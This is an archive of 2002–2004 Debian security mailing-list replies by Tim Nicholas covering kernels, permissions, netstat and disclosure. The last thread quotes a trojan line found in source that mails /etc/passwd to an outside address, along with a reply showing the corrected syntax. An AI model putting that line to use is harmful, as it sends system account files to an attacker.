Re: Security for woody after woody->sarge ?

2004-06-10 Thread Tim Nicholas

On 11/06/04 01:28, Alex Owen wrote:

Are there any plans to change the position stated at:
 http://www.debian.org/security/faq#lifespan

"Q: How long will security updates be provided?
 A: The security team tries to support a stable distribution for about one
 year after the next stable distribution has been released, except when
 another stable distribution is released within this year. It is not
 possible to support three distributions; supporting two simultaneously is
 already difficult enough."

I ask as I'm commisioning a woody system and cannot upgrade to sarge till
July/August 2005 so I'll probably need a year of woody security updates.

If Debian does not commit to supporting woody with security fixes after
sarge is released does anyone have any ideas of where we could buy such
support?



If you are concerned that there might be another release within a year 
of Sarge then you can lay your fears to rest. It seems extremely unlikely.



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Re: Security for woody after woody->sarge ?

2004-06-10 Thread Tim Nicholas
On 11/06/04 01:28, Alex Owen wrote:
Are there any plans to change the position stated at:
 http://www.debian.org/security/faq#lifespan
"Q: How long will security updates be provided?
 A: The security team tries to support a stable distribution for about one
 year after the next stable distribution has been released, except when
 another stable distribution is released within this year. It is not
 possible to support three distributions; supporting two simultaneously is
 already difficult enough."
I ask as I'm commisioning a woody system and cannot upgrade to sarge till
July/August 2005 so I'll probably need a year of woody security updates.
If Debian does not commit to supporting woody with security fixes after
sarge is released does anyone have any ideas of where we could buy such
support?
If you are concerned that there might be another release within a year 
of Sarge then you can lay your fears to rest. It seems extremely unlikely.

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Re: BF kernels

2004-04-15 Thread Tim Nicholas

On 15/04/04 22:19, Joshua Goodall wrote:

On Thu, 15 Apr 2004 07:56 pm, Tim Nicholas wrote:


If I recall correctly it is assumed that users will not run on the
boot floppy kernels after the initial system installation. They are
expected to install a more appropriate kernel after finishing the
install.

As such there will be no patch for the boot floppy kernel.



I disagree with the generalisation. Let me tell you two little tales.

1. A few weeks ago I was building a new cluster of our servers. We 


[snip]



The specifics of DSA479 notwithstanding; either of these would motivate 
me to agree with Michelle that bootfloppies should be updated, too.




I couldn't agree more.

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Re: BF kernels

2004-04-15 Thread Tim Nicholas
On 15/04/04 22:19, Joshua Goodall wrote:
On Thu, 15 Apr 2004 07:56 pm, Tim Nicholas wrote:

If I recall correctly it is assumed that users will not run on the
boot floppy kernels after the initial system installation. They are
expected to install a more appropriate kernel after finishing the
install.
As such there will be no patch for the boot floppy kernel.


I disagree with the generalisation. Let me tell you two little tales.

1. A few weeks ago I was building a new cluster of our servers. We 
[snip]

The specifics of DSA479 notwithstanding; either of these would motivate 
me to agree with Michelle that bootfloppies should be updated, too.

I couldn't agree more.

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Re: [DSA 479-2] New Linux 2.4.18 packages fix local root exploit (i386)

2004-04-15 Thread Tim Nicholas

On 04/15/04 20:05, Michelle Konzack wrote:


Question:   What about the Bootfloppies ?

Many bad Debian $USER using the bf24 as there standard Kernel 
and do not replace it with an other kernel flavor...


The Boot-Disks are not updated since 21.05.2002...

Greetings
Michelle




If I recall correctly it is assumed that users will not run on the boot 
floppy kernels after the initial system installation. They are expected 
to install a more appropriate kernel after finishing the install.


As such there will be no patch for the boot floppy kernel.

Tim

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Re: [DSA 479-2] New Linux 2.4.18 packages fix local root exploit (i386)

2004-04-15 Thread Tim Nicholas
On 04/15/04 20:05, Michelle Konzack wrote:
Question:	What about the Bootfloppies ?

Many bad Debian $USER using the bf24 as there standard Kernel 
and do not replace it with an other kernel flavor...

The Boot-Disks are not updated since 21.05.2002...

Greetings
Michelle


If I recall correctly it is assumed that users will not run on the boot 
floppy kernels after the initial system installation. They are expected 
to install a more appropriate kernel after finishing the install.

As such there will be no patch for the boot floppy kernel.

Tim

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Re: passwords changed?

2004-04-11 Thread Tim Nicholas

On 04/11/04 21:15, LeVA wrote:

2004. április 11. 06:21 dátummal Noah Meyerhans ezt írta:


On Sat, Apr 10, 2004 at 09:19:00PM +0200, LeVA wrote:

Only as ftp.  But there have been a number of locally exploitable
kernel vulnerabilities fairly recently, and an attacker could use one
of these to obtain root access once they had shell access as a
non-root user. Are you running a safe kernel?

noah


I always compile the latest stable 2.4 kernel with loadable modules 
disabled, but I don't apply any kernel patches.

Is this "safe", or I must apply some security patch?

Thanks!

Daniel



The 2.4.25 is 'safe'.

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Re: passwords changed?

2004-04-11 Thread Tim Nicholas
On 04/11/04 21:15, LeVA wrote:
2004. április 11. 06:21 dátummal Noah Meyerhans ezt írta:

On Sat, Apr 10, 2004 at 09:19:00PM +0200, LeVA wrote:

Only as ftp.  But there have been a number of locally exploitable
kernel vulnerabilities fairly recently, and an attacker could use one
of these to obtain root access once they had shell access as a
non-root user. Are you running a safe kernel?
noah
I always compile the latest stable 2.4 kernel with loadable modules 
disabled, but I don't apply any kernel patches.
Is this "safe", or I must apply some security patch?

Thanks!

Daniel

The 2.4.25 is 'safe'.

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Re: secure file permissions

2003-12-07 Thread Tim Nicholas

mi wrote:

Hello,

Can you tell me what are the default permissions for /etc/group and 
/etc/passwd ?


I restricted them to rw for root only, but some things like exim (and 
possibly dpkg ?) seem to need read access there too.

What's recommendet ?

(Debian Woody 3.0 r1)



$ ls -l /etc/passwd
-rw-r--r--1 root root 2722 Nov 23 15:35 /etc/passwd
$


same for group.

Pretty much everything needs to be able to read them. There isn't any 
harm in having them readable either. The encrypted passwords are stored 
in /etc/shadow.


Tim


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Re: secure file permissions

2003-12-07 Thread Tim Nicholas
mi wrote:
Hello,

Can you tell me what are the default permissions for /etc/group and 
/etc/passwd ?

I restricted them to rw for root only, but some things like exim (and 
possibly dpkg ?) seem to need read access there too.
What's recommendet ?

(Debian Woody 3.0 r1)

$ ls -l /etc/passwd
-rw-r--r--1 root root 2722 Nov 23 15:35 /etc/passwd
$
same for group.

Pretty much everything needs to be able to read them. There isn't any 
harm in having them readable either. The encrypted passwords are stored 
in /etc/shadow.

Tim

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Re: Will 2.4.20 Source be patched for the latest kernel vulnerability?

2003-12-03 Thread Tim Nicholas


Rick Moen wrote:

Quoting Riku Valli ([EMAIL PROTECTED]):



How about boot floppies kernel?  Kernel-image-2.4.18-bf2.4 which is default
kernel for woody.



Default _installation_ kernel.  My understanding is that it's expected
you'd apt-get install an image suitable to your hardware at the end of 
installation.




That may be expected, but I would bet good money that it's not actually 
the case. I suspect that over 50% of debian installs use the default 
installation kernel until there is some good reason to change it (ie, 
something doesn't work).


Of course, I might be totally wrong. I never use debian kernels.

Tim

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Re: Will 2.4.20 Source be patched for the latest kernel vulnerability?

2003-12-03 Thread Tim Nicholas
Rick Moen wrote:
Quoting Riku Valli ([EMAIL PROTECTED]):


How about boot floppies kernel?  Kernel-image-2.4.18-bf2.4 which is default
kernel for woody.


Default _installation_ kernel.  My understanding is that it's expected
you'd apt-get install an image suitable to your hardware at the end of 
installation.

That may be expected, but I would bet good money that it's not actually 
the case. I suspect that over 50% of debian installs use the default 
installation kernel until there is some good reason to change it (ie, 
something doesn't work).

Of course, I might be totally wrong. I never use debian kernels.

Tim

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Re: [OT] Re: unsubscribe - Procmail Rule

2003-04-27 Thread Tim Nicholas

On Fri, Apr 25, 2003 at 10:55:15PM -0400, Phillip Hofmeister wrote:
> Can anynone enlighten me why my rule didn't catch this message?
> 
> :0
> * ^X-Mailing-List:[EMAIL PROTECTED]
> * ^Subject: .{0,2}sub.{1,5}ibe
> /dev/null

You might have to escape the { and }. 
* ^Subject: .\{0,2\}sub.\{1,5\}ibe


Why not just have 
* ^Subject: .\{0,2\}subscribe 
?

Tim

> 
> 
 

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Oops. Apologies to all.

2003-04-24 Thread Tim Nicholas
Oops.
I'm VERY sorry everyone. I just did something really stupid with my mail
system and ended up sending messages to everyone whos email addresses I
filter in anyway. 
If you have received messages from [EMAIL PROTECTED] with the subject
'This is a test' or from 'jillgreen' subject 'Hi' or from 'Sarah'
subject 'story for the arthritis mag' then you have my whole hearted
apologies.

This is what I get for playing with new mail software without due care. 
Mail me if you want a more complete explanation of what happened.

Once again, I am very sorry for the confusion/inconvenience.

Yours, 
Tim Nicholas

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Re: Disabling netstat

2003-04-21 Thread Tim Nicholas
Hello, 
nmap wont tell you the same information as netstat. netstat will say
what connections are in place between the localhost and remote
hosts, and what state they are in. It'll also tell you what ports 
there are servers listening on. That's somthing that nmap could tell
you, but that's very public information anyway.

This is really a matter of limiting the extent to which you are
forced to trust the other users of a system.  The example of
restricting netstat seems to be about not allowing other users to
know what network nodes are being communicated with because it could
be considered personal information. Just as userA shouldn't be able
to see who userB has been emailing.

Thats my 2c anyway.

Tim


On Mon, Apr 21, 2003 at 02:37:10PM +0200, Markus Kolb wrote:
> Brian McGroarty wrote:
> 
> >This sure seems kind of silly... why add all these things into Big
> >Giant Namespace and not honor all of the conventions of the same? I
> >think /proc/* not supporting chmod changes for the duration of a
> >system's uptime could be classified as a bug or a major design
> >flaw. :/
> 
> I say it's the 2nd. It was never the idea in Linux to limit the basic 
> system tools to a few users only.
> Of course it is possible. Perhaps it would be a good idea to implement 
> such security in one of the next kernel versions.
> Many kernel hackers will call it security by obscurity.
> With a correct installation and setup there is no problem when normal 
> users can get information out of procfs.
> Especially disabling netstat with procfs is not the best idea. There are 
> possibilities to get much information without procfs. In my thoughts are 
> utilities like nmap.
> 
> 
> -- 
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> 

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Re: [Fwd: Re: LWN: Ptrace vulnerability in 2.2 and 2.4 kernels]

2003-04-02 Thread Tim Nicholas
On Wed, Apr 02, 2003 at 09:46:52AM +0200, Dariush Pietrzak wrote:
> > of proportion... Some things in security _have_ to be obscure. Your
> > password, for example. Or the primes used to generate your PGP private
>  There's a difference between 'obscure' and 'secret'.

This is true.

> All you gain by removing kernel-loading capability from your kernel is to
> force cracker to search memory to find entry points.
>  That's like hiding key to your door under your doormat.

Thats not true. Or rather if it is, then using the key is
considerably harder than simply opening the door (which would be
equivalent of having module support using your metaphor).

But disabling module support isn't obscuring anything, its genuinely
changing the system. The attacker is in fact going to have to do
something different and more difficult to modify the kernel. 
You seem to be saying that if there is one way of achieving a
security breach, then you shouldn't bother stopping other ways of
achieving the same result. This is clearly ridiculas.

Yours, 

Tim

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Re: [Fwd: Re: LWN: Ptrace vulnerability in 2.2 and 2.4 kernels]

2003-04-02 Thread Tim Nicholas
On Wed, Apr 02, 2003 at 09:46:52AM +0200, Dariush Pietrzak wrote:
> > of proportion... Some things in security _have_ to be obscure. Your
> > password, for example. Or the primes used to generate your PGP private
>  There's a difference between 'obscure' and 'secret'.

This is true.

> All you gain by removing kernel-loading capability from your kernel is to
> force cracker to search memory to find entry points.
>  That's like hiding key to your door under your doormat.

Thats not true. Or rather if it is, then using the key is
considerably harder than simply opening the door (which would be
equivalent of having module support using your metaphor).

But disabling module support isn't obscuring anything, its genuinely
changing the system. The attacker is in fact going to have to do
something different and more difficult to modify the kernel. 
You seem to be saying that if there is one way of achieving a
security breach, then you shouldn't bother stopping other ways of
achieving the same result. This is clearly ridiculas.

Yours, 

Tim

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Re: Netstat port list v/s PID

2002-10-10 Thread Tim Nicholas
Have a look at the -p option in netstat.

Tim

On Thu, Oct 10, 2002 at 09:36:48AM +0400, Hantzley wrote:
> 
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
> 
> Hi,
>   Is there a way to know to which process belong a particular port? e.g., 
> port 32773 - 32779, are known to be for rpc services. But to which process 
> do they pertain to, that's another issue?
>   
>   Your comments and ideas are the most welcome.
> 
> Thank you,
> 
> Hantzley
> -BEGIN PGP SIGNATURE-
> Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
> 
> iQA/AwUBPaUR8AYMAbLGe5rXEQKZ7wCg3GzEdTcKGv2yWh+IlDNa3YiHSmcAoJra
> FEto+d49xK4pZVI3CuCcw5z/
> =MM5Z
> -END PGP SIGNATURE-
> 
> 
> 
> -- 
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> 

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Re: Netstat port list v/s PID

2002-10-10 Thread Tim Nicholas

Have a look at the -p option in netstat.

Tim

On Thu, Oct 10, 2002 at 09:36:48AM +0400, Hantzley wrote:
> 
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
> 
> Hi,
>   Is there a way to know to which process belong a particular port? e.g., 
> port 32773 - 32779, are known to be for rpc services. But to which process 
> do they pertain to, that's another issue?
>   
>   Your comments and ideas are the most welcome.
> 
> Thank you,
> 
> Hantzley
> -BEGIN PGP SIGNATURE-
> Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
> 
> iQA/AwUBPaUR8AYMAbLGe5rXEQKZ7wCg3GzEdTcKGv2yWh+IlDNa3YiHSmcAoJra
> FEto+d49xK4pZVI3CuCcw5z/
> =MM5Z
> -END PGP SIGNATURE-
> 
> 
> 
> -- 
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> 

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Re: Report on last cmd

2002-10-04 Thread Tim Nicholas
Those lines indicate that people have been logging in to your
machine via anonymous ftp. 
Also, your clock is fast! October 5 is only just starting, and I'm
in New Zealand (we get the new day first). 

Tim

On Fri, Oct 04, 2002 at 07:03:21PM +0800, Glen Tapley wrote:
> Hello
> 
> I have been having a lot of trouble with my sendmail setup, someone is using 
> my system. I have found that when I run the last cmd, I find a lot of strange 
> entries such as 
> 
> ftp  ftp  p50852BD8.dip.t- Sun Oct  6 03:57 - 03:57  (00:00)
> ftp  ftp  p508ECDDA.dip.t- Sun Oct  6 03:37 - 03:37  (00:00)
> ftp  ftp  212.171.38.1 Sat Oct  5 23:16 - 23:16  (00:00)
> ftp  ftp  210.23.10.25 Sat Oct  5 18:40 - 18:40  (00:00)
> 
> Can anyone tell me what these are, are they the result of programs accessing 
> my TCP/IP addresses?
> 
> Tx in advance.
> 
> glt
> 

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Re: Report on last cmd

2002-10-04 Thread Tim Nicholas

Those lines indicate that people have been logging in to your
machine via anonymous ftp. 
Also, your clock is fast! October 5 is only just starting, and I'm
in New Zealand (we get the new day first). 

Tim

On Fri, Oct 04, 2002 at 07:03:21PM +0800, Glen Tapley wrote:
> Hello
> 
> I have been having a lot of trouble with my sendmail setup, someone is using my 
>system. I have found that when I run the last cmd, I find a lot of strange entries 
>such as 
> 
> ftp  ftp  p50852BD8.dip.t- Sun Oct  6 03:57 - 03:57  (00:00)
> ftp  ftp  p508ECDDA.dip.t- Sun Oct  6 03:37 - 03:37  (00:00)
> ftp  ftp  212.171.38.1 Sat Oct  5 23:16 - 23:16  (00:00)
> ftp  ftp  210.23.10.25 Sat Oct  5 18:40 - 18:40  (00:00)
> 
> Can anyone tell me what these are, are they the result of programs accessing my 
>TCP/IP addresses?
> 
> Tx in advance.
> 
> glt
> 

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Re: DSA-134-1

2002-06-25 Thread Tim Nicholas
Hi,
One would have to point out that though they haven't released
anything specific yet, they say that they will, and there are real
reasons for not telling the world without providing sufficient
warning to get systems at least partially protected. Sure that might
be in some ways inconsistent with their stated policy but if they do
release all the information next week (as I think they have said
they will) then (probably) they have gone about it in as good a way
as they could really be expected to. 
As I understand it, the normal way for vendors to do this would have
been to wait until next week before saying anything at all. Probably
that would have been a clearer course of action as we wouldn't know
about it until a fix was available. No nervous week of waiting, but
also an extra week with a 'known' and presumably very serious
security whole in all our systems. 
I don't like either of those options, but I'm inclined to think that
being given an opportunity to do preemptive damage control is a Good
Thing. 


On the other hand I agree with you entirely about Theo. He is my only
problem with the OpenBSD project.

Tim

On Tue, Jun 25, 2002 at 12:40:44PM +0200, Robert van der Meulen wrote:
> 
> Quoting Paul Haesler ([EMAIL PROTECTED]):
> > Doesn't OpenBSD have a full-disclosure policy anyway?
> 
> It has 'listen to theo or fuck off' disclosure policy, which basically means
> you have to do what theo says, and no matter what you do, you'll end up with
> problems and bitching, and disclosure is only done when it doesn't affect
> openbsd (or the '5 years without..' line on openbsd.org).
> 
> Greets,
>   Robert
> 

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Re: Updated Apache packages for testing?

2002-06-22 Thread Tim Nicholas
Hi,
You did remember to do an update didn't you? What version of the
package do you have installed? 

$ dpkg -l apache

Tim


On Sat, Jun 22, 2002 at 01:22:19PM +, Martin WHEELER wrote:
> On Sat, 22 Jun 2002, Alain Tesio wrote:
> 
> > I've installed unstable packages on woody, it runs fine.
> >
> > apt-get -t unstable install apache apache-common
> 
> [EMAIL PROTECTED]:~# apt-get -t unstable install apache apache-common
> Reading Package Lists... Done
> Building Dependency Tree... Done
> Sorry, apache is already the newest version.
> Sorry, apache-common is already the newest version.
> 0 packages upgraded, 0 newly installed, 0 to remove and 30  not
> upgraded.
> [EMAIL PROTECTED]:~# apache -v
> Server version: Apache/1.3.24 (Unix) Debian GNU/Linux
> Server built:   Apr 30 2002 06:00:09
> [EMAIL PROTECTED]:~#
> -- 
> Martin Wheeler <[EMAIL PROTECTED]> gpg key 01269BEB @ the.earth.li
> 
> 
> -- 
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> 

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Email: [EMAIL PROTECTED]||   Dunedin, New Zealand
http://tim.nicholas.net.nz/   ||  Cell/SMS: +64 21 113 0399


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Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Tim Nicholas
On Wed, Apr 17, 2002 at 03:31:17PM -0700, Anne Carasik wrote:
> On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote:
> > > Compile from source is a good idea too. It's amazing what you
> > > can find in the source. I found a couple of stupid Trojans
> > > that way.
> > >system("mail /etc/passwd [EMAIL PROTECTED]");
> > Yeh, and it's buggy too
> > Take a close look at what really happens.
> 
> I'm sure it is. [EMAIL PROTECTED] doesn't exist. ;)
> 
> Seriously, I know it is. The other thing is, I use shadow most of the
> time. Still, the username information is never a good thing to share.
> 

I think he is saying that it should be somthing more like
system("mail [EMAIL PROTECTED] < /etc/passwd");

But since i dont really know c, you might not be able to use '<' in
system calls... it seems likey though. The previous version would 
try to email user /etc/passwd.


Tim



-- 
Tim Nicholas  ||  Cilix
Email: [EMAIL PROTECTED]||  ICQ# 15869961
http://tim.nicholas.net.nz/   ||   Dunedin, New Zealand
"Grow up, Larry. You give me too much credit." - Linus Torvalds


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Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Tim Nicholas

On Wed, Apr 17, 2002 at 03:31:17PM -0700, Anne Carasik wrote:
> On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote:
> > > Compile from source is a good idea too. It's amazing what you
> > > can find in the source. I found a couple of stupid Trojans
> > > that way.
> > >system("mail /etc/passwd [EMAIL PROTECTED]");
> > Yeh, and it's buggy too
> > Take a close look at what really happens.
> 
> I'm sure it is. [EMAIL PROTECTED] doesn't exist. ;)
> 
> Seriously, I know it is. The other thing is, I use shadow most of the
> time. Still, the username information is never a good thing to share.
> 

I think he is saying that it should be somthing more like
system("mail [EMAIL PROTECTED] < /etc/passwd");

But since i dont really know c, you might not be able to use '<' in
system calls... it seems likey though. The previous version would 
try to email user /etc/passwd.


Tim



-- 
Tim Nicholas  ||  Cilix
Email: [EMAIL PROTECTED]||  ICQ# 15869961
http://tim.nicholas.net.nz/   ||   Dunedin, New Zealand
"Grow up, Larry. You give me too much credit." - Linus Torvalds


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